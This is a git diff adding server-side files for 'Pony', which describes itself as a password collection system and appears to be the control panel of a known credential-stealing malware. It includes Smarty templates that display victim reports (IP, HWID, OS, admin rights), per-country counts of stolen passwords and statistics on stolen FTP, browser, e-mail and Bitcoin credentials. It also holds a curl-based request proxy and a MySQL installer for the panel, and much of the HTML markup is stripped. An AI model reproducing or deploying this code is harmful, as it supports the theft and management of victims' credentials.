+ + + + + + + + {assign var="max_country_list" value=10} + {foreach from=$country_list item=country_item name=country_list_traversal} + {if $smarty.foreach.country_list_traversal.index == $max_country_list} + {assign var=country_list_extra_data value=true} + + + {/if} + + + {if $country_item.country_code == ''} + + {else} + + {/if} + + + + {/foreach} +

Country	Number of reports	Number of passwords
Unknown	{country base_path="includes/design/images/flags/" country_code=$country_item.country_code country_name=$country_item.country_name}	{$country_item.report_count} ({$country_item.report_percentage}%)	{$country_item.ftp_count} ({$country_item.ftp_percentage}%)

+ + {* Show more country link *} + {if isset($country_list_extra_data)} +

show all ({count($country_list)})

+ {/if} + {/if} diff --git a/panel/includes/templates/stopwatch.tpl b/panel/includes/templates/stopwatch.tpl new file mode 100644 index 0000000..186c339 --- /dev/null +++ b/panel/includes/templates/stopwatch.tpl @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/panel/includes/templates/success.tpl b/panel/includes/templates/success.tpl new file mode 100644 index 0000000..2fd890f --- /dev/null +++ b/panel/includes/templates/success.tpl @@ -0,0 +1,3 @@ +

+�Success! +

\ No newline at end of file diff --git a/panel/includes/templates/view_report.tpl b/panel/includes/templates/view_report.tpl new file mode 100644 index 0000000..da8cef7 --- /dev/null +++ b/panel/includes/templates/view_report.tpl @@ -0,0 +1,69 @@ +{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&routine=view_report&report_id={$report_id}"} + +{if {$smarty.request.routine|default:''} == 'confirm_delete'} + {assign var='msg' value="Are you sure you want to delete the report?"} + {assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&routine=delete&report_id={$report_id}"} + {include file='confirm.tpl'} +{/if} + + +{if $report_id != '' && $report_id != '0' && isset($report) && is_array($report)} + Download the report ({$report_size|file_size})
+ Reprocess the report
+ {if $priv_can_delete} + Delete Report
+ {/if} +
+{/if} + +{if isset($log_item) && is_array($log_item)} + + + + + + {if $log_item.report_id != '0' && $log_item.report_id != ''} + + {/if} +

Log record data
Text	{$log_item.log_line}
Additional Information	{$log_item.log_extra} + {if strstr($log_item.log_line, '_GATE_')} + (find in the logs by IP \| + find in reports on IP) + {/if} +
Add time	{$log_item.import_time}
Report	{$log_item.report_id}

+{else} + {if {$smarty.request.log_id|default:''} != '' && {$smarty.request.log_id|default:''} != '0'} + {include file='error.tpl' err_code='ERR_UNK_LOG_ID'} + {/if} +{/if} + +{if isset($report) && is_array($report)} + + + + + + + + + + + + + +

Report Details
ID	{$report.report_id}
The size	{$report.report_len\|file_size}
Processed	{$report.parsed\|yes_no}
Add time	{$report.import_time}
OS	{$report.report_os_name}
Country	{$report.report_country}
64-bit	{$report.report_is_win64\|yes_no}
Running with administrator privileges	{$report.report_admin\|yes_no}
IP	{$report.report_source_ip} {country base_path="includes/design/images/flags/" country_code=$report.report_source_ip_country_code country_name=$report.report_source_ip_country_name} + {if ($report.report_source_ip != '')} + (find in the logs by IP \| + find in reports by IP) + {/if} +
HWID	{$report.report_hwid} + {if ($report.report_hwid != '')} + (find in the logs by HWID \| + find in reports on HWID) + {/if} +
Client version	{$report.report_version}

+{else} + {if {$smarty.request.report_id|default:''} != '' && {$smarty.request.report_id|default:''} != '0'} + {include file='error.tpl' err_code='ERR_UNK_REPORT_ID'} + {/if} +{/if} \ No newline at end of file diff --git a/panel/redirect.php b/panel/redirect.php new file mode 100644 index 0000000..5af71c7 --- /dev/null +++ b/panel/redirect.php @@ -0,0 +1,162 @@ +$value) +{ + if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection') + { + } + elseif (strtolower($name) == 'host') + { + array_push($curl_headers_array, $name.': '.$redirect_host); + } else + { + array_push($curl_headers_array, $name.': '.$value); + } +} + +if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array)) +{ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + $_SERVER['REDIRECT_STATUS'] = 404; + if (file_exists('404.html')) + echo file_get_contents('404.html'); + die(); +} + +$headers_end_pos = strpos($data, "\r\n\r\n"); +$data_start_pos = $headers_end_pos+4; +if ($headers_end_pos === false) +{ + $headers_end_pos = strpos($data, "\n\n"); + $data_start_pos = $headers_end_pos+2; +} + +if ($headers_end_pos !== false) +{ + $lines = parse_lines(substr($data, 0, $headers_end_pos)); + foreach ($lines as $line) + { + // do not pass "Transfer-Encoding: chunked" header + if (stripos($line, 'Transfer-Encoding') === false) + { + header($line."\r\n"); + } + } + + die(substr($data, $data_start_pos)); +} else +{ + die($data); +} + diff --git a/panel/robots.txt b/panel/robots.txt new file mode 100644 index 0000000..70c2374 --- /dev/null +++ b/panel/robots.txt @@ -0,0 +1,2 @@ +User-agent: * +Disallow: / diff --git a/panel/setup.php b/panel/setup.php new file mode 100644 index 0000000..5b33c98 --- /dev/null +++ b/panel/setup.php @@ -0,0 +1,146 @@ +Error! Server configuration problem!'; + echo '

'; + echo 'Missing configuration file `'.$config_file.'`.'; + echo '

'; + die(); +} + +require_once($config_file); +require_once("includes/misc.php"); +require_once("includes/password_modules.php"); +require_once("includes/database.php"); + +// clean output buffer +ob_end_clean(); + +$pony_db = new pony_db(); + +if (!$pony_db->connect($mysql_host, $mysql_user, $mysql_pass)) +{ + echo '

Error! Server configuration problem!

'; + echo '

'; + echo 'Cannot connect to mysql database, check settings in configuration file `config.php`.
'; + echo 'MySQL error: '.mysql_error(); + echo '

'; + die(); +} + +if (!$pony_db->select_db($mysql_database)) +{ + echo '

Error! Server configuration problem!

'; + echo '

'; + echo('Cannot select mysql database, please, check if the `'.$mysql_database.'` database exists or you have enough rights to create new databases.
'); + echo 'MySQL error: '.mysql_error().'.'; + echo '

'; + die(); +} + +$all_tables_exist = $pony_db->all_tables_exist(); +$some_tables_exist = $pony_db->some_tables_exist(); + +if (!$pony_db->state) +{ + echo '

Error! Server configuration problem!

'; + echo '

'; + echo 'Unknown MySQL error occured: '.mysql_error().'.'; + echo '

'; + die(); +} + +if (!install_check(false, true)) +{ + echo '

Attention! Server configuration problem!

'; + echo '

'; + install_check(true, true); + echo '

'; +} + +$set_admin_pass = trim(assign($_REQUEST['set_admin_pass'])) == '1'; + +if (!$all_tables_exist && $set_admin_pass) +{ + $admin_login = trim(assign($_REQUEST['login'])); + $admin_pass = trim(assign($_REQUEST['password'])); + $admin_pass_verify = trim(assign($_REQUEST['confirm_password'])); + + if (!$admin_login) + { + die("Empty login names are now allowed!
Go back and try again."); + } + + if (!$admin_pass) + { + die("Empty passwords are now allowed!
Go back and try again."); + } + + if ($admin_pass != $admin_pass_verify) + { + die("Admin and confirm passwords mismatch!
Go back and try again."); + } + + if ($pony_db->create_tables() && $pony_db->add_user($admin_login, $admin_pass, 'admin_all')) + { + echo "Installation complete!
"; + echo "Proceed to administration panel."; + } else + { + die("Installation failed: `".mysql_error()."`"); + } + die(); +} + +if (!$all_tables_exist) +{ + if ($some_tables_exist && trim(assign($_REQUEST['delete_tables']) == '1')) + { + $pony_db->delete_tables(); + $some_tables_exist = $pony_db->some_tables_exist(); + } + + if ($some_tables_exist) + { + echo '

Error! Server configuration problem!

'; + echo '

'; + echo 'Missing required MySQL tables. Please, delete Pony MySQL tables and try again.
'; + echo '

'; + echo 'Delete Pony MySQL tables and restart installation process.'; + die(); + } + + die ("MySQL database installation. Please, provide administrator credentials:". + "". + "". + "". + "". + "
". + "". + "". + "

Admin login:
Admin password:
Confirm password:

"); +} else +{ + die('Installation complete!
'. + "Proceed to administration panel.". + '

To restart installation process, please, delete MySQL tables.
' + ); + +} +

Not Found

Smarty Debug Console - {if isset($template_name)}{$template_name|debug_print_var nofilter}{else}Total Time {$execution_time|string_format:"%.5f"}{/if}

included templates & config files (load time in seconds)

assigned template variables

assigned config file variables (outer template scope)

Password collection system "Pony"

Purpose and objectives of the project

General Information

A non-standard approach is used to collect passwords

Web Server Requirements

Server part (admin)

Admin functions

Differentiation of user rights admin

Additional Information

Builder "PonyBuilder.exe"

Starting the build from the command line

Client "Pony.exe"

LAST LOGONS

Domains

Attention! The filter mode is activated. Disable.

Example of filtered HTTP records

Latest HTTP Revenues

Records matching the filter not found!

The HTTP list is empty!

Attention! The filter mode is activated. Disable.

Authorization

Server Settings

Change access password

Add User

Edit data

Members List

Latest additions E-mail

-list E-mail is empty!

Attention! The filter mode is activated. Disable.

The popularity of FTP clients

The popularity of Internet browsers

The popularity of E-mail clients

The popularity of HTTP domains

The popularity of Bitcoin customers

Country statistics

+�Success! +

Error! Server configuration problem!

Error! Server configuration problem!

Error! Server configuration problem!

Attention! Server configuration problem!

Error! Server configuration problem!